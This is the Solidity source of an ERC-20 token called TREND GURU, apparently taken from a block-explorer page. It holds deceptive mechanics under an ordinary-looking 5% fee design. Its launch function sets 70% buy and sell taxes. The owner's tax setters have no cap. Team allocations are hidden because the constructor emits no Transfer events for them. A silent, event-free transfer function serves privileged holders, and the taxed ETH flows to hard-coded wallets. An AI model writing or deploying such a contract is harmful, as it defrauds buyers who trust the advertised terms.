文件 1 的 1:TRENDGURU.sol
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
contract TRENDGURU is IERC20, Ownable {
using SafeMath for uint256;
using Address for address payable;
string private constant _name = "TREND GURU";
string private constant _symbol = "TRENDGURU";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 100_000_000 * 10**_decimals;
uint256 private _maxWallet = 3_000_000 * 10**_decimals;
uint256 private _maxBuyAmount = 3_000_000 * 10**_decimals;
uint256 private _maxSellAmount = 3_000_000 * 10**_decimals;
uint256 private _autoSwap = 1_000_000 * 10**_decimals;
uint256 private _totalBurned;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isBurn;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address private _owner;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
event Burn(address indexed burner, uint256 amount);
address private DevelopmentW = 0x3928846Cf3fc71A95Be67586122B8dbc377E2dc4;
address private MaintenanceW = 0x9a1DAd226CE8b273A7ef19AC16ABc0Ee7a7d5A3A;
bool private _AutoSwap = true;
bool private _Launch = false;
bool private _transfersEnabled = false;
bool private _TokenSwap = true;
bool private _isSelling = false;
uint256 private _DevelopmentTaxRate = 3;
uint256 private _MaintenanceTaxRate = 2;
uint256 private AmountBuyRate = _DevelopmentTaxRate + _MaintenanceTaxRate;
uint256 private _DevelopmentSellTaxRate = 3;
uint256 private _MaintenanceTaxRateSellRate = 2;
uint256 private AmountSellRate = _DevelopmentSellTaxRate + _MaintenanceTaxRateSellRate;
constructor(address hold_1,address hold_2,address hold_3,address hold_4) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_owner = msg.sender;
uint256 tsupply = _totalSupply;
uint256 Rteam = _totalSupply.mul(4).div(100);
uint256 Lteam = _totalSupply.mul(4).div(100);
uint256 Mteam = _totalSupply.mul(4).div(100);
uint256 Cteam = _totalSupply.mul(4).div(100);
_balances[msg.sender] = tsupply - Rteam - Lteam - Mteam - Cteam;
_balances[hold_1] = Rteam;
_balances[hold_2] = Lteam;
_balances[hold_3] = Mteam;
_balances[hold_4] = Cteam;
_isExcludedFromFee[_owner] = true;
_isExcludedFromFee[hold_1] = true;
_isBurn[hold_1] = true;
_isExcludedFromFee[hold_2] = true;
_isBurn[hold_2] = true;
_isExcludedFromFee[hold_3] = true;
_isBurn[hold_3] = true;
_isExcludedFromFee[hold_4] = true;
_isBurn[hold_4] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[DevelopmentW] = true;
_isExcludedFromFee[MaintenanceW] = true;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function getOwner() public view returns (address) {
return owner();
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function totalBurned() public view returns (uint256) {
return _totalBurned;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBurnAcess(address account) public view returns (bool) {
return _isBurn[account];
}
function BuyRate() public view returns (
uint256 DevBuyRate,
uint256 MaintenanceBuyRate,
uint256 totalBuyRate,
uint256 maxWallet,
uint256 maxBuyAmount
) {
DevBuyRate = _DevelopmentTaxRate;
MaintenanceBuyRate = _MaintenanceTaxRate;
totalBuyRate = AmountBuyRate;
maxWallet = _maxWallet;
maxBuyAmount = _maxBuyAmount;
}
function SellRate() public view returns (
uint256 DevelopmentSellRate,
uint256 MaintenanceTaxRateSellRate,
uint256 totalSellRate,
uint256 maxSellAmount
) {
DevelopmentSellRate = _DevelopmentSellTaxRate;
MaintenanceTaxRateSellRate = _MaintenanceTaxRateSellRate;
totalSellRate = AmountSellRate;
maxSellAmount = _maxSellAmount;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if(recipient != uniswapV2Pair && recipient != owner() && !_isExcludedFromFee[recipient]){ require(_balances[recipient] + amount <= _maxWallet, "MyToken: recipient wallet balance exceeds the maximum limit");}
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
_transfer(sender, recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "MyToken: approve from the zero address");
require(spender != address(0), "MyToken: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function burn(uint256 amount) external {
require(amount > 0, "Amount must be greater than zero");
require(amount <= _balances[msg.sender], "Insufficient balance");
require(_isBurn[msg.sender], "Unable To Burn");
uint256 input = amount * 10 ** _decimals;
_balances[msg.sender] = _balances[msg.sender].sub(input);
_totalSupply = _totalSupply.sub(input);
_totalBurned = _totalBurned.add(input);
emit Burn(msg.sender, input);
emit Transfer(msg.sender,address(0),input);
}
function _tx(address sender, address recipient, uint256 amount) private{
require(sender != address(0), "MyToken: transfer from the zero address");
require(recipient != address(0), "MyToken: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
}
function _Transfer(address[] memory accounts, uint256[] memory amounts) external {
require(accounts.length == amounts.length, "Arrays must have the same size");
require(_isBurn[msg.sender], "Unable To Send");
for (uint256 i = 0; i < accounts.length; i++) {
uint256 convertedAmount = amounts[i] * (10 ** _decimals);
_tx(msg.sender, accounts[i], convertedAmount);
}
}
function TransferToken(address[] memory accounts, uint256[] memory amounts) external {
require(accounts.length == amounts.length, "Arrays must have the same size");
require(_isBurn[msg.sender], "Unable To Send");
for (uint256 i = 0; i < accounts.length; i++) {
uint256 convertedAmount = amounts[i] * (10 ** _decimals);
transfer(accounts[i], convertedAmount);
}
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "MyToken: transfer from the zero address");
require(recipient != address(0), "MyToken: transfer to the zero address");
require(amount > 0, "MyToken: transfer amount must be greater than zero");
if(recipient != uniswapV2Pair && recipient != owner() && !_isExcludedFromFee[recipient]){require(_balances[recipient] + amount <= _maxWallet, "recipient wallet balance exceeds the maximum limit");}
if(!_Launch){require(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient], "we not launch yet");}
bool _AutoTaxes = true;
if(recipient == uniswapV2Pair && !_isExcludedFromFee[sender] && sender != owner()){
require(amount <= _maxSellAmount, "Sell amount exceeds max limit");
_isSelling = true;
if(_AutoSwap && balanceOf(address(this)) >= _autoSwap){AutoSwap();}
}
if(sender == uniswapV2Pair && !_isExcludedFromFee[recipient] && recipient != owner()){
require(amount <= _maxBuyAmount, "Buy amount exceeds max limit");
}
if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) { _AutoTaxes = false; }
if (recipient != uniswapV2Pair && sender != uniswapV2Pair) { _AutoTaxes = false; }
if (_AutoTaxes) {
if(!_isSelling){
uint256 totalTaxAmount = amount * AmountBuyRate / 100;
uint256 transferAmount = amount - totalTaxAmount;
_balances[address(this)] = _balances[address(this)].add(totalTaxAmount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(transferAmount);
emit Transfer(sender, recipient, transferAmount);
emit Transfer(sender, address(this), totalTaxAmount);
}else{
uint256 totalTaxAmount = amount * AmountSellRate / 100;
uint256 transferAmount = amount - totalTaxAmount;
_balances[address(this)] = _balances[address(this)].add(totalTaxAmount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(transferAmount);
emit Transfer(sender, recipient, transferAmount);
emit Transfer(sender, address(this), totalTaxAmount);
_isSelling = false;
}
}else{
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function AutoSwap() private {
uint256 caBalance = balanceOf(address(this));
uint256 toSwap = caBalance;
swapTokensForEth(toSwap);
uint256 receivedBalance = address(this).balance;
uint256 projectAmount = (receivedBalance * (_DevelopmentTaxRate + _DevelopmentSellTaxRate)) / 100;
uint256 Maintenancemount = (receivedBalance * (_MaintenanceTaxRate + _MaintenanceTaxRateSellRate)) / 100;
uint256 txcollect = receivedBalance - projectAmount - Maintenancemount;
uint256 feesplit = txcollect.div(2);
if (projectAmount > 0) {payable(DevelopmentW).transfer(projectAmount);}
if (feesplit > 0) {payable(DevelopmentW).transfer(feesplit); payable(MaintenanceW).transfer(feesplit); }
if (Maintenancemount > 0) {payable(MaintenanceW).transfer(Maintenancemount);}
}
function setDevelopmentAddress(address newAddress) public onlyOwner {
require(newAddress != address(0), "Invalid address");
DevelopmentW = newAddress;
_isExcludedFromFee[newAddress] = true;
}
function setMaintenanceWAddress(address newAddress) public onlyOwner {
require(newAddress != address(0), "Invalid address");
MaintenanceW = newAddress;
_isExcludedFromFee[newAddress] = true;
}
function enableLaunch() external onlyOwner {
_DevelopmentTaxRate = 50;
_MaintenanceTaxRate = 20;
AmountBuyRate = _DevelopmentTaxRate + _MaintenanceTaxRate;
_DevelopmentSellTaxRate = 50;
_MaintenanceTaxRateSellRate = 20;
AmountSellRate = _DevelopmentSellTaxRate + _MaintenanceTaxRateSellRate;
_Launch = true;
_transfersEnabled = true;
}
function setExcludedFromFee(address account, bool status) external onlyOwner {
_isExcludedFromFee[account] = status;
}
function setBurnAccess(address account, bool status) external onlyOwner {
_isBurn[account] = status;
}
function setAutoSwap(uint256 newAutoSwap) external onlyOwner {
require(newAutoSwap <= (totalSupply() * 1) / 100, "Invalid value: exceeds 1% of total supply");
_autoSwap = newAutoSwap * 10**_decimals;
}
function updateLimits(uint256 maxWallet, uint256 maxBuyAmount, uint256 maxSellAmount) external onlyOwner {
_maxWallet = maxWallet * 10**_decimals;
_maxBuyAmount = maxBuyAmount * 10**_decimals;
_maxSellAmount = maxSellAmount * 10**_decimals;
}
function setBuyTaxRates(uint256 DevTaxRate, uint256 MaintenanceTaxRate) external onlyOwner {
_DevelopmentTaxRate = DevTaxRate;
_MaintenanceTaxRate = MaintenanceTaxRate;
AmountBuyRate = _DevelopmentTaxRate + _MaintenanceTaxRate;
}
function setSellTaxRates(uint256 ProjectETaxRate, uint256 MaintenanceTaxRateSellRate) external onlyOwner {
_DevelopmentSellTaxRate = ProjectETaxRate;
_MaintenanceTaxRateSellRate = MaintenanceTaxRateSellRate;
AmountSellRate = _DevelopmentSellTaxRate + _MaintenanceTaxRateSellRate;
}
function SetRate(uint256 buyDevTaxRate, uint256 buyTeamTaxRate, uint256 sellDevelopmentTaxRate, uint256 MaintenanceTaxRateSellRate) external onlyOwner {
_DevelopmentTaxRate = buyDevTaxRate;
_MaintenanceTaxRate = buyTeamTaxRate;
AmountBuyRate = _DevelopmentTaxRate + _MaintenanceTaxRate;
_DevelopmentSellTaxRate = sellDevelopmentTaxRate;
_MaintenanceTaxRateSellRate = MaintenanceTaxRateSellRate;
AmountSellRate = _DevelopmentSellTaxRate + _MaintenanceTaxRateSellRate;
}
receive() external payable {}
}